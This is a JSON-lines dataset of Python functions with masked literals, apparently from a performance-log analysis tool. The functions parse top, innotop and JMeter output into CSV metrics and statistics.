"f7863:c0:m2"}
{"signature": "def process_tasks_line(self, words):", "body": "words = words[<NUM_LIT:1>:]<EOL>length = len(words) / <NUM_LIT:2>  <EOL>values = {}<EOL>for offset in range(length):<EOL><INDENT>k = words[<NUM_LIT:2> * offset + <NUM_LIT:1>].strip('<STR_LIT:U+002C>')<EOL>v = words[<NUM_LIT:2> * offset]<EOL>values['<STR_LIT>' + k] = v<EOL><DEDENT>self.put_values_into_data(values)<EOL>", "docstring": "Process the line starting with \"Tasks:\"\nExample log:   Tasks: 446 total,   1 running, 442 sleeping,   2 stopped,   1 zombie", "id": "f7863:c0:m3"}
{"signature": "def process_cpu_line(self, words):", "body": "values = {}<EOL>for word in words[<NUM_LIT:1>:]:<EOL><INDENT>val, key = word.split('<STR_LIT:%>')<EOL>values['<STR_LIT>' + key.strip('<STR_LIT:U+002C>')] = val<EOL><DEDENT>self.put_values_into_data(values)<EOL>", "docstring": "Process the line starting with \"Cpu(s):\"\nExample log: Cpu(s):  1.3%us,  0.5%sy,  0.0%ni, 98.2%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st", "id": "f7863:c0:m4"}
{"signature": "def convert_to_G(self, word):", "body": "value = <NUM_LIT:0.0><EOL>if word[-<NUM_LIT:1>] == '<STR_LIT>' or word[-<NUM_LIT:1>] == '<STR_LIT:g>':<EOL><INDENT>value = float(word[:-<NUM_LIT:1>])<EOL><DEDENT>elif word[-<NUM_LIT:1>] == '<STR_LIT:M>' or word[-<NUM_LIT:1>] == '<STR_LIT:m>':<EOL><INDENT>value = float(word[:-<NUM_LIT:1>]) / <NUM_LIT><EOL><DEDENT>elif word[-<NUM_LIT:1>] == '<STR_LIT>' or word[-<NUM_LIT:1>] == '<STR_LIT:k>':<EOL><INDENT>value = float(word[:-<NUM_LIT:1>]) / <NUM_LIT> / <NUM_LIT><EOL><DEDENT>else:  <EOL><INDENT>value = float(word) / <NUM_LIT> / <NUM_LIT> / <NUM_LIT><EOL><DEDENT>return str(value)<EOL>", "docstring": "Given a size such as '2333M', return the converted value in G", "id": "f7863:c0:m5"}
{"signature": "def process_mem_line(self, words):", "body": "words = words[<NUM_LIT:1>:]<EOL>length = len(words) / <NUM_LIT:2>  <EOL>values = {}<EOL>for offset in range(length):<EOL><INDENT>k = words[<NUM_LIT:2> * offset + <NUM_LIT:1>].strip('<STR_LIT:U+002C>')<EOL>v = self.convert_to_G(words[<NUM_LIT:2> * offset])<EOL>values['<STR_LIT>' + k] = v<EOL><DEDENT>self.put_values_into_data(values)<EOL>", "docstring": "Process the line starting with \"Mem:\"\nExample log: Mem:    62.841G total,   16.038G used,   46.803G free,  650.312M buffers\nFor each value, needs to convert to 'G' (needs to handle cases of K, M)", "id": "f7863:c0:m6"}
{"signature": "def process_swap_line(self, words):", "body": "words = words[<NUM_LIT:1>:]<EOL>length = len(words) / <NUM_LIT:2>  <EOL>values = {}<EOL>for offset in range(length):<EOL><INDENT>k = words[<NUM_LIT:2> * offset + <NUM_LIT:1>].strip('<STR_LIT:U+002C>')<EOL>v = self.convert_to_G(words[<NUM_LIT:2> * offset])<EOL>values['<STR_LIT>' + k] = v<EOL><DEDENT>self.put_values_into_data(values)<EOL>", "docstring": "Process the line starting with \"Swap:\"\nExample log: Swap:   63.998G total,    0.000k used,   63.998G free,   11.324G cached\nFor each value, needs to convert to 'G' (needs to handle cases of K, M)", "id": "f7863:c0:m7"}
{"signature": "def process_individual_command(self, words):", "body": "pid_index = self.process_headers.index('<STR_LIT>')<EOL>proces_index = self.process_headers.index('<STR_LIT>')<EOL>pid = words[pid_index]<EOL>process = words[proces_index]<EOL>if pid in self.PID or process in self.COMMAND:<EOL><INDENT>process_name = process.split('<STR_LIT:/>')[<NUM_LIT:0>]<EOL>values = {}<EOL>for word_col in self.process_headers:<EOL><INDENT>word_index = self.process_headers.index(word_col)<EOL>if word_col in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:  <EOL><INDENT>values[process_name + '<STR_LIT:_>' + pid + '<STR_LIT:_>' + word_col] = self.convert_to_G(words[word_index])<EOL><DEDENT>elif word_col in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:  <EOL><INDENT>values[process_name + '<STR_LIT:_>' + pid + '<STR_LIT:_>' + word_col.strip('<STR_LIT:%>')] = words[word_index]<EOL><DEDENT>uptime_index = self.process_headers.index('<STR_LIT>')<EOL>uptime = words[uptime_index].split('<STR_LIT::>')<EOL>uptime_sec = float(uptime[<NUM_LIT:0>]) * <NUM_LIT> + float(uptime[<NUM_LIT:1>])<EOL>values[process_name + '<STR_LIT:_>' + pid + '<STR_LIT:_>' + '<STR_LIT>'] = str(uptime_sec)<EOL><DEDENT>self.put_values_into_data(values)<EOL><DEDENT>", "docstring": "process the individual lines like this:\n#PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND\n29303 root      20   0 35300 2580 1664 R  3.9  0.0   0:00.02 top\n11 root      RT   0     0    0    0 S  1.9  0.0   0:18.87 migration/2\n3702 root      20   0 34884 4192 1692 S  1.9  0.0  31:40.47 cf-serverd\nIt does not record all processes due to memory concern; rather only records interested processes (based on user input of PID and COMMAND)", "id": "f7863:c0:m8"}
{"signature": "def parse(self):", "body": "for infile in self.infile_list:<EOL><INDENT>logger.info('<STR_LIT>', infile)<EOL>status = True<EOL>file_status = naarad.utils.is_valid_file(infile)<EOL>if not file_status:<EOL><INDENT>return False<EOL><DEDENT>with open(infile) as fh:<EOL><INDENT>for line in fh:<EOL><INDENT>words = line.split()<EOL>if not words:<EOL><INDENT>continue<EOL><DEDENT>if re.match('<STR_LIT>', line):<EOL><INDENT>self.ts_date = words[<NUM_LIT:0>]<EOL>continue<EOL><DEDENT>prefix_word = words[<NUM_LIT:0>].strip()<EOL>if prefix_word == '<STR_LIT>':<EOL><INDENT>self.process_top_line(words)<EOL>self.saw_pid = False  <EOL><DEDENT>elif self.ts_valid_lines:<EOL><INDENT>if prefix_word == '<STR_LIT>':<EOL><INDENT>self.process_tasks_line(words)<EOL><DEDENT>elif prefix_word == '<STR_LIT>':<EOL><INDENT>self.process_cpu_line(words)<EOL><DEDENT>elif prefix_word == '<STR_LIT>':<EOL><INDENT>self.process_mem_line(words)<EOL><DEDENT>elif prefix_word == '<STR_LIT>':<EOL><INDENT>self.process_swap_line(words)<EOL><DEDENT>elif prefix_word == '<STR_LIT>':<EOL><INDENT>self.saw_pid = True  <EOL>self.process_headers = words<EOL><DEDENT>else:  <EOL><INDENT>if self.saw_pid and len(words) >= len(self.process_headers):  <EOL><INDENT>self.process_individual_command(words)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>for out_csv in self.data.keys():    <EOL><INDENT>self.csv_files.append(out_csv)<EOL>with open(out_csv, '<STR_LIT:w>') as fh:<EOL><INDENT>fh.write('<STR_LIT:\\n>'.join(self.data[out_csv]))<EOL><DEDENT><DEDENT>gc.collect()<EOL>return status<EOL>", "docstring": "Parse the top output file\nReturn status of the metric parse\n\nThe raw log file is like the following:\n2014-06-23\ntop - 00:00:02 up 18 days,  7:08, 19 users,  load average: 0.05, 0.03, 0.00\nTasks: 447 total,   1 running, 443 sleeping,   2 stopped,   1 zombie\nCpu(s):  1.6%us,  0.5%sy,  0.0%ni, 97.9%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st\nMem:    62.841G total,   15.167G used,   47.675G free,  643.434M buffers\nSwap:   63.998G total,    0.000k used,   63.998G free,   11.324G cached\n\nPID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND\n1730 root      20   0 4457m  10m 3328 S  1.9  0.0  80:13.45 lwregd\nThe log lines can be generated by echo $t >> $RESULT/top.out &; top -b -n $COUNT -d $INTERVAL | grep -A 40 '^top' >> $RESULT/top.out &", "id": "f7863:c0:m9"}
{"signature": "def collect(self):", "body": "for aggr_metric in self.aggr_metrics:   <EOL><INDENT>functions_aggr = []<EOL>fields = aggr_metric.split(\"<STR_LIT::>\")<EOL>cur_metric_type = fields[<NUM_LIT:0>].split(\"<STR_LIT:.>\")[<NUM_LIT:0>]  <EOL>if len(fields) > <NUM_LIT:1>:  <EOL><INDENT>func_user = '<STR_LIT>'.join(fields[<NUM_LIT:1>].split())<EOL>functions_aggr.extend(func_user.split(\"<STR_LIT:U+002C>\"))<EOL><DEDENT>else:  <EOL><INDENT>return True<EOL><DEDENT>cur_column = '<STR_LIT:.>'.join(fields[<NUM_LIT:0>].split('<STR_LIT:.>')[<NUM_LIT:1>:])    <EOL>aggr_data = {}<EOL>aggr_data['<STR_LIT>'] = []   <EOL>aggr_data['<STR_LIT>'] = defaultdict(float)   <EOL>aggr_data['<STR_LIT:count>'] = defaultdict(int)  <EOL>for metric in self.metrics:   <EOL><INDENT>if metric.hostname in self.aggr_hosts andcur_column in metric.csv_column_map.values():<EOL><INDENT>file_csv = metric.get_csv(cur_column)<EOL>timestamp_format = None<EOL>with open(file_csv) as fh:<EOL><INDENT>for line in fh:<EOL><INDENT>aggr_data['<STR_LIT>'].append(line.rstrip())<EOL>words = line.split(\"<STR_LIT:U+002C>\")<EOL>ts = words[<NUM_LIT:0>].split('<STR_LIT:.>')[<NUM_LIT:0>]   <EOL>if not timestamp_format or timestamp_format == '<STR_LIT>':<EOL><INDENT>timestamp_format = naarad.utils.detect_timestamp_format(ts)<EOL><DEDENT>if timestamp_format == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>ts = naarad.utils.get_standardized_timestamp(ts, timestamp_format)<EOL>aggr_data['<STR_LIT>'][ts] += float(words[<NUM_LIT:1>])<EOL>aggr_data['<STR_LIT:count>'][ts] += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>if '<STR_LIT>' in functions_aggr:<EOL><INDENT>out_csv = self.get_csv(cur_column, '<STR_LIT>')<EOL>self.csv_files.append(out_csv)<EOL>with open(out_csv, '<STR_LIT:w>') as fh:<EOL><INDENT>fh.write(\"<STR_LIT:\\n>\".join(sorted(aggr_data['<STR_LIT>'])))<EOL><DEDENT><DEDENT>if '<STR_LIT>' in functions_aggr:<EOL><INDENT>out_csv = self.get_csv(cur_column, '<STR_LIT>')<EOL>self.csv_files.append(out_csv)<EOL>with open(out_csv, '<STR_LIT:w>') as fh:<EOL><INDENT>for (k, v) in sorted(aggr_data['<STR_LIT>'].items()):<EOL><INDENT>fh.write(k + \"<STR_LIT:U+002C>\" + str(v) + '<STR_LIT:\\n>')<EOL><DEDENT><DEDENT><DEDENT>if '<STR_LIT>' in functions_aggr:<EOL><INDENT>out_csv = self.get_csv(cur_column, '<STR_LIT>')<EOL>self.csv_files.append(out_csv)<EOL>with open(out_csv, '<STR_LIT:w>') as fh:<EOL><INDENT>for (k, v) in sorted(aggr_data['<STR_LIT>'].items()):<EOL><INDENT>fh.write(k + \"<STR_LIT:U+002C>\" + str(v / aggr_data['<STR_LIT:count>'][k]) + '<STR_LIT:\\n>')<EOL><DEDENT><DEDENT><DEDENT>if '<STR_LIT:count>' in functions_aggr:<EOL><INDENT>out_csv = self.get_csv(cur_column, '<STR_LIT:count>')<EOL>self.csv_files.append(out_csv)<EOL>with open(out_csv, '<STR_LIT:w>') as fh:<EOL><INDENT>for (k, v) in sorted(aggr_data['<STR_LIT:count>'].items()):<EOL><INDENT>fh.write(k + \"<STR_LIT:U+002C>\" + str(v) + '<STR_LIT:\\n>')<EOL><DEDENT><DEDENT><DEDENT>gc.collect()<EOL><DEDENT>return True<EOL>", "docstring": "Take a list of metrics, filter all metrics based on hostname, and metric_type\nFor each metric, merge the corresponding csv files into one,update corresponding properties such as csv_column_map.\nUsers can specify functions: raw, count (qps), sum (aggregated value), avg (averaged value)\nThe timestamp granularity of aggregated submetrics is in seconds (sub-second is not supported)", "id": "f7864:c0:m1"}
{"signature": "def parse(self):", "body": "return True<EOL>", "docstring": "Merge multiple hosts' csv into one csv file. This approach has the benefit of reusing calculate_stats(), but with the penalty of reading the single csv\nlater for calculate_stats(). However, since file cache will cache the newly written csv files, reading the csv file will not likely be a IO bottleneck.", "id": "f7864:c0:m3"}
{"signature": "def parse_innotop_mode_b(self):", "body": "with open(self.infile, '<STR_LIT:r>') as infh:<EOL><INDENT>max_row_quot = <NUM_LIT:0><EOL>valrow = -<NUM_LIT:1><EOL>thisrowcolumns = {}<EOL>data = {}<EOL>while True:<EOL><INDENT>line1 = infh.readline()<EOL>words = line1.split()<EOL>if words[<NUM_LIT:1>] == \"<STR_LIT>\" and self.metric_type == \"<STR_LIT>\":<EOL><INDENT>while True:<EOL><INDENT>line1 = infh.readline()<EOL>words = line1.split()<EOL>if naarad.utils.is_number(words[<NUM_LIT:1>]):<EOL><INDENT>line1 = infh.readline()<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>if words[<NUM_LIT:1>] == \"<STR_LIT>\" and self.metric_type == \"<STR_LIT>\":<EOL><INDENT>break<EOL><DEDENT>infh.readline()<EOL>last_ts = words[<NUM_LIT:0>].strip().replace('<STR_LIT:T>', '<STR_LIT:U+0020>')<EOL>if not naarad.utils.is_number(words[<NUM_LIT:1>]):<EOL><INDENT>thisrowcolumns[max_row_quot] = words[<NUM_LIT:1>:]<EOL>for column in words[<NUM_LIT:1>:]:<EOL><INDENT>if self.options and column not in self.options:<EOL><INDENT>continue<EOL><DEDENT>data[column] = []<EOL><DEDENT>if self.metric_type == \"<STR_LIT>\":<EOL><INDENT>data[\"<STR_LIT>\"] = []<EOL><DEDENT>max_row_quot += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>for line in infh:<EOL><INDENT>l = line.strip().split('<STR_LIT:U+0020>', <NUM_LIT:1>)<EOL>if len(l) <= <NUM_LIT:1>:<EOL><INDENT>continue<EOL><DEDENT>ts = l[<NUM_LIT:0>].strip().replace('<STR_LIT:T>', '<STR_LIT:U+0020>')<EOL>if not ts == last_ts:<EOL><INDENT>last_ts = ts<EOL>valrow = -<NUM_LIT:1><EOL><DEDENT>try:<EOL><INDENT>words = l[<NUM_LIT:1>].strip().split('<STR_LIT:\\t>')<EOL><DEDENT>except IndexError:<EOL><INDENT>logger.warn(\"<STR_LIT>\", line)<EOL>continue<EOL><DEDENT>if words[<NUM_LIT:0>] == \"<STR_LIT>\" or (naarad.utils.is_number(words[<NUM_LIT:0>]) and \"<STR_LIT>\" in words[<NUM_LIT:1>]):<EOL><INDENT>continue<EOL><DEDENT>if naarad.utils.is_number(words[<NUM_LIT:0>]):<EOL><INDENT>valrow += <NUM_LIT:1><EOL>quot = valrow % max_row_quot<EOL>if quot >= len(thisrowcolumns):<EOL><INDENT>continue<EOL><DEDENT>columns = thisrowcolumns[quot]<EOL>if len(words) > len(columns):<EOL><INDENT>continue<EOL><DEDENT>for i in range(len(words)):<EOL><INDENT>if self.options and columns[i] not in self.options:<EOL><INDENT>continue<EOL><DEDENT>column = columns[i]<EOL>if words[i] == \"<STR_LIT>\":<EOL><INDENT>words[i] = \"<STR_LIT:0>\"<EOL><DEDENT>ts = naarad.utils.reconcile_timezones(ts, self.timezone, self.graph_timezone)<EOL>if self.metric_type == \"<STR_LIT>\":<EOL><INDENT>if column == \"<STR_LIT>\":<EOL><INDENT>log_seq_no = int(words[i])<EOL><DEDENT>elif column == \"<STR_LIT>\":<EOL><INDENT>check_pt_age = log_seq_no - int(words[i])<EOL>tup = [ts, str(check_pt_age)]<EOL>data[\"<STR_LIT>\"].append(tup)<EOL><DEDENT><DEDENT>tup = [ts, words[i]]<EOL>data[column].append(tup)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>for column in data:<EOL><INDENT>csvfile = self.get_csv(column)<EOL>self.csv_files.append(csvfile)<EOL>with open(csvfile, '<STR_LIT:w>') as outfh:<EOL><INDENT>for tup in data[column]:<EOL><INDENT>outfh.write('<STR_LIT:U+002C>'.join(tup))<EOL>outfh.write('<STR_LIT:\\n>')<EOL><DEDENT><DEDENT><DEDENT>return True<EOL>", "docstring": "Generic parsing method for all other modes", "id": "f7865:c0:m4"}
{"signature": "def parse_innotop_mode_m(self):", "body": "with open(self.infile, '<STR_LIT:r>') as infh:<EOL><INDENT>max_row_quot = <NUM_LIT:0><EOL>valrow = -<NUM_LIT:1><EOL>thisrowcolumns = {}<EOL>data = {}<EOL>last_ts = None<EOL>while True:<EOL><INDENT>line1 = infh.readline()<EOL>words = line1.split()<EOL>infh.readline()<EOL>is_header = True<EOL>for word in words:<EOL><INDENT>if naarad.utils.is_number(word):<EOL><INDENT>last_ts = words[<NUM_LIT:0>].strip().replace('<STR_LIT:T>', '<STR_LIT:U+0020>')<EOL>is_header = False<EOL>break  <EOL><DEDENT><DEDENT>if len(words) > <NUM_LIT:2> and is_header:<EOL><INDENT>thisrowcolumns[max_row_quot] = words[<NUM_LIT:2>:]<EOL>for column in thisrowcolumns[max_row_quot]:<EOL><INDENT>data[column] = []<EOL><DEDENT>max_row_quot += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if not last_ts:<EOL><INDENT>logger.warn(\"<STR_LIT>\", self.infile)<EOL>return True<EOL><DEDENT>infh.seek(<NUM_LIT:0>)<EOL>is_bad_line = False<EOL>outfilehandlers = {}<EOL>for line in infh:<EOL><INDENT>l = line.strip().split('<STR_LIT:U+0020>', <NUM_LIT:1>)<EOL>if len(l) <= <NUM_LIT:1>:<EOL><INDENT>continue<EOL><DEDENT>ts = l[<NUM_LIT:0>].strip().replace('<STR_LIT:T>', '<STR_LIT:U+0020>')<EOL>if ts != last_ts:<EOL><INDENT>last_ts = ts<EOL>valrow = -<NUM_LIT:1><EOL><DEDENT>nameval = l[<NUM_LIT:1>].strip().split('<STR_LIT:\\t>', <NUM_LIT:1>)<EOL>try:<EOL><INDENT>words = nameval[<NUM_LIT:1>].split('<STR_LIT:\\t>')<EOL><DEDENT>except IndexError:<EOL><INDENT>logger.warn(\"<STR_LIT>\", line)<EOL>continue<EOL><DEDENT>valrow += <NUM_LIT:1><EOL>command = nameval[<NUM_LIT:0>]<EOL>if command not in outfilehandlers:<EOL><INDENT>outfilehandlers[command] = {}<EOL><DEDENT>quot = valrow % max_row_quot<EOL>columns = thisrowcolumns[quot]<EOL>for i in range(len(words)):<EOL><INDENT>if len(words) > len(columns):<EOL><INDENT>logger.warn(\"<STR_LIT>\", line)<EOL>logger.warn(\"<STR_LIT>\", len(words), len(columns))<EOL>break<EOL><DEDENT>if words[i] in columns:<EOL><INDENT>logger.warn(\"<STR_LIT>\", line)<EOL>valrow -= <NUM_LIT:1><EOL>break<EOL><DEDENT>if self.options and columns[i] not in self.options:<EOL><INDENT>continue<EOL><DEDENT>if columns[i] not in outfilehandlers[command]:<EOL><INDENT>outfilehandlers[command][columns[i]] = open(self.get_csv_C(command, columns[i]), '<STR_LIT:w>')<EOL>self.csv_files.append(self.get_csv_C(command, columns[i]))<EOL><DEDENT>ts = naarad.utils.reconcile_timezones(ts, self.timezone, self.graph_timezone)<EOL>outfilehandlers[command][columns[i]].write(ts + '<STR_LIT:U+002C>')<EOL>outfilehandlers[command][columns[i]].write(words[i])<EOL>outfilehandlers[command][columns[i]].write('<STR_LIT:\\n>')<EOL><DEDENT><DEDENT>for command in outfilehandlers:<EOL><INDENT>for column in outfilehandlers[command]:<EOL><INDENT>outfilehandlers[command][column].close()<EOL><DEDENT><DEDENT><DEDENT>return True<EOL>", "docstring": "Special parsing method for Innotop \"Replication Status\" results (innotop --mode M)", "id": "f7865:c0:m5"}
{"signature": "def aggregate_count_over_time(self, metric_store, line_data, transaction_list, aggregate_timestamp):", "body": "for transaction in transaction_list:<EOL><INDENT>if line_data.get('<STR_LIT:s>') == '<STR_LIT:true>':<EOL><INDENT>all_qps = metric_store['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>all_qps = metric_store['<STR_LIT>']<EOL><DEDENT>qps = all_qps[transaction]<EOL>if aggregate_timestamp in qps:<EOL><INDENT>qps[aggregate_timestamp] += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>qps[aggregate_timestamp] = <NUM_LIT:1><EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Organize and store the count of data from the log line into the metric store by metric type, transaction, timestamp\n\n:param dict metric_store: The metric store used to store all the parsed jmeter log data\n:param dict line_data: dict with the extracted k:v from the log line\n:param list transaction_list: list of transaction to be used for storing the metrics from given line\n:param string aggregate_timestamp: timestamp used for storing the raw data. This accounts for aggregation time period\n:return: None", "id": "f7866:c0:m2"}
{"signature": "def aggregate_values_over_time(self, metric_store, line_data, transaction_list, metric_list, aggregate_timestamp):", "body": "for metric in metric_list:<EOL><INDENT>for transaction in transaction_list:<EOL><INDENT>metric_data = reduce(defaultdict.__getitem__, [metric, transaction, aggregate_timestamp], metric_store)<EOL>metric_data.append(float(line_data.get(metric)))<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Organize and store the data from the log line into the metric store by metric type, transaction, timestamp\n\n:param dict metric_store: The metric store used to store all the parsed jmeter log data\n:param dict line_data: dict with the extracted k:v from the log line\n:param list transaction_list: list of transaction to be used for storing the metrics from given line\n:param list metric_list: list of metrics to extract from the log line\n:param string aggregate_timestamp: timestamp used for storing the raw data. This accounts for aggregation time period\n:return: None", "id": "f7866:c0:m3"}
{"signature": "def average_values_for_plot(self, metric_store, data, averaging_factor):", "body": "for metric, transaction_store in metric_store.items():<EOL><INDENT>for transaction, time_store in transaction_store.items():<EOL><INDENT>for time_stamp, metric_data in sorted(time_store.items()):<EOL><INDENT>if metric in ['<STR_LIT:t>', '<STR_LIT>']:<EOL><INDENT>data[self.get_csv(transaction, metric)].append('<STR_LIT:U+002C>'.join([str(time_stamp), str(sum(map(float, metric_data)) / float(len(metric_data)))]))<EOL>if metric == '<STR_LIT>':<EOL><INDENT>metric_store['<STR_LIT>'][transaction][time_stamp] = sum(map(float, metric_data)) / float(averaging_factor * <NUM_LIT> * <NUM_LIT> / <NUM_LIT>)<EOL>data[self.get_csv(transaction, '<STR_LIT>')].append('<STR_LIT:U+002C>'.join([str(time_stamp), str(metric_store['<STR_LIT>'][transaction][time_stamp])]))<EOL><DEDENT><DEDENT>elif metric in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>data[self.get_csv(transaction, metric)].append('<STR_LIT:U+002C>'.join([str(time_stamp), str(metric_data / float(averaging_factor))]))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return None<EOL>", "docstring": "Create the time series for the various metrics, averaged over the aggregation period being used for plots\n\n:param dict metric_store: The metric store used to store all the parsed jmeter log data\n:param dict data: Dict with all the metric data to be output to csv\n:param float averaging_factor: averaging factor to be used for calculating the average per second metrics\n:return: None", "id": "f7866:c0:m4"}
{"signature": "def calculate_key_stats(self, metric_store):", "body": "stats_to_calculate = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']  <EOL>percentiles_to_calculate = range(<NUM_LIT:5>, <NUM_LIT>, <NUM_LIT:5>)  <EOL>percentiles_to_calculate.append(<NUM_LIT>)<EOL>for transaction in metric_store['<STR_LIT:t>'].keys():<EOL><INDENT>transaction_key = transaction + '<STR_LIT:.>' + '<STR_LIT>'<EOL>self.calculated_stats[transaction_key], self.calculated_percentiles[transaction_key] =naarad.utils.calculate_stats(list(heapq.merge(*metric_store['<STR_LIT:t>'][transaction].values())),<EOL>stats_to_calculate, percentiles_to_calculate)<EOL>self.update_summary_stats(transaction_key)<EOL>transaction_key = transaction + '<STR_LIT:.>' + '<STR_LIT>'<EOL>if len(metric_store['<STR_LIT>'][transaction].values()) > <NUM_LIT:0>:<EOL><INDENT>self.calculated_stats[transaction_key], self.calculated_percentiles[transaction_key] =naarad.utils.calculate_stats(metric_store['<STR_LIT>'][transaction].values(),<EOL>stats_to_calculate, percentiles_to_calculate)<EOL>self.update_summary_stats(transaction_key)<EOL><DEDENT>transaction_key = transaction + '<STR_LIT:.>' + '<STR_LIT>'<EOL>self.calculated_stats[transaction_key], self.calculated_percentiles[transaction_key] =naarad.utils.calculate_stats(list(heapq.merge(*metric_store['<STR_LIT>'][transaction].values())),<EOL>stats_to_calculate, percentiles_to_calculate)<EOL>self.update_summary_stats(transaction_key)<EOL>if '<STR_LIT>' in metric_store.keys() and transaction in metric_store['<STR_LIT>'].keys():<EOL><INDENT>transaction_key = transaction + '<STR_LIT:.>' + '<STR_LIT>'<EOL>self.calculated_stats[transaction_key], self.calculated_percentiles[transaction_key] =naarad.utils.calculate_stats(metric_store['<STR_LIT>'][transaction].values(),<EOL>stats_to_calculate, percentiles_to_calculate)<EOL>self.update_summary_stats(transaction + '<STR_LIT:.>' + '<STR_LIT>')<EOL><DEDENT>transaction_key = transaction + '<STR_LIT:.>' + '<STR_LIT>'<EOL>self.calculated_stats[transaction_key], self.calculated_percentiles[transaction_key] =naarad.utils.calculate_stats(metric_store['<STR_LIT>'][transaction].values(),<EOL>stats_to_calculate, percentiles_to_calculate)<EOL>self.update_summary_stats(transaction_key)<EOL><DEDENT>return None<EOL>", "docstring": "Calculate key statistics for given data and store in the class variables calculated_stats and calculated_percentiles\ncalculated_stats:\n  'mean', 'std', 'median', 'min', 'max'\ncalculated_percentiles:\n  range(5,101,5), 99\n:param dict metric_store: The metric store used to store all the parsed jmeter log data\n:return: none", "id": "f7866:c0:m5"}
{"signature": "def parse(self):", "body": "file_status = True<EOL>for infile in self.infile_list:<EOL><INDENT>file_status = file_status and naarad.utils.is_valid_file(infile)<EOL>if not file_status:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>status = self.parse_xml_jtl(self.aggregation_granularity)<EOL>gc.collect()<EOL>return status<EOL>", "docstring": "Parse the Jmeter file and calculate key stats\n\n:return: status of the metric parse", "id": "f7866:c0:m6"}
{"signature": "def parse_xml_jtl(self, granularity):", "body": "data = defaultdict(list)<EOL>processed_data = defaultdict(lambda: defaultdict(lambda: defaultdict(list)))<EOL>for input_file in self.infile_list:<EOL><INDENT>logger.info('<STR_LIT>', input_file)<EOL>timestamp_format = None<EOL>tree = ElementTree.parse(input_file)<EOL>samples = tree.findall('<STR_LIT>') + tree.findall('<STR_LIT>')<EOL>for sample in samples:<EOL><INDENT>if not timestamp_format or timestamp_format == '<STR_LIT>':<EOL><INDENT>timestamp_format = naarad.utils.detect_timestamp_format(sample.get('<STR_LIT>'))<EOL><DEDENT>if timestamp_format == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>ts = naarad.utils.get_standardized_timestamp(sample.get('<STR_LIT>'), timestamp_format)<EOL>if ts == -<NUM_LIT:1>:<EOL><INDENT>continue<EOL><DEDENT>ts = naarad.utils.reconcile_timezones(ts, self.timezone, self.graph_timezone)<EOL>aggregate_timestamp, averaging_factor = self.get_aggregation_timestamp(ts, granularity)<EOL>self.aggregate_count_over_time(processed_data, sample, [self._sanitize_label(sample.get('<STR_LIT>')), '<STR_LIT>'], aggregate_timestamp)<EOL>self.aggregate_values_over_time(processed_data, sample, [self._sanitize_label(sample.get('<STR_LIT>')), '<STR_LIT>'], ['<STR_LIT:t>', '<STR_LIT>'], aggregate_timestamp)<EOL>logger.info('<STR_LIT>', input_file)<EOL><DEDENT><DEDENT>logger.info('<STR_LIT>')<EOL>self.average_values_for_plot(processed_data, data, averaging_factor)<EOL>logger.info('<STR_LIT>')<EOL>for csv in data.keys():<EOL><INDENT>self.csv_files.append(csv)<EOL>with open(csv, '<STR_LIT:w>') as csvf:<EOL><INDENT>csvf.write('<STR_LIT:\\n>'.join(sorted(data[csv])))<EOL><DEDENT><DEDENT>logger.info('<STR_LIT>')<EOL>self.calculate_key_stats(processed_data)<EOL>return True<EOL>", "docstring": "Parse Jmeter workload output in XML format and extract overall and per transaction data and key statistics\n\n:param string granularity: The time period over which to aggregate and average the raw data. Valid values are 'hour', 'minute' or 'second'\n:return: status of the metric parse", "id": "f7866:c0:m8"}
{"signature": "def _get_tuple(self, fields):", "body": "v1 = '<STR_LIT>'<EOL>v2 = '<STR_LIT>'<EOL>if len(fields) > <NUM_LIT:0>:<EOL><INDENT>v1 = fields[<NUM_LIT:0>]<EOL><DEDENT>if len(fields) > <NUM_LIT:1>:<EOL><INDENT>v2 = fields[<NUM_LIT:1>]<EOL><DEDENT>return v1, v2<EOL>", "docstring": ":param fields: a list which contains either 0,1,or 2 values\n:return: a tuple with default values of '';", "id": "f7867:c0:m1"}
{"signature": "def _extract_input_connections(self):", "body": "for con in self.connections:<EOL><INDENT>ends = con.strip().split('<STR_LIT>')  <EOL>ends = filter(None, ends)  <EOL>if len(ends) == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>if len(ends) > <NUM_LIT:0>:<EOL><INDENT>host1, port1 = self._get_tuple(ends[<NUM_LIT:0>].split('<STR_LIT::>'))<EOL><DEDENT>host2 = '<STR_LIT>'<EOL>port2 = '<STR_LIT>'<EOL>if len(ends) > <NUM_LIT:1>:<EOL><INDENT>host2, port2 = self._get_tuple(ends[<NUM_LIT:1>].split('<STR_LIT::>'))<EOL><DEDENT>self.input_connections.append((host1, port1, host2, port2))<EOL><DEDENT>", "docstring": "Given user input of interested connections, it will extract the info and output a list of tuples.\n- input can be multiple values, separated by space;\n- either host or port is optional\n- it may be just one end,\n- e.g., \"host1<->host2 host3<->  host1:port1<->host2\"\n:return: None", "id": "f7867:c0:m2"}
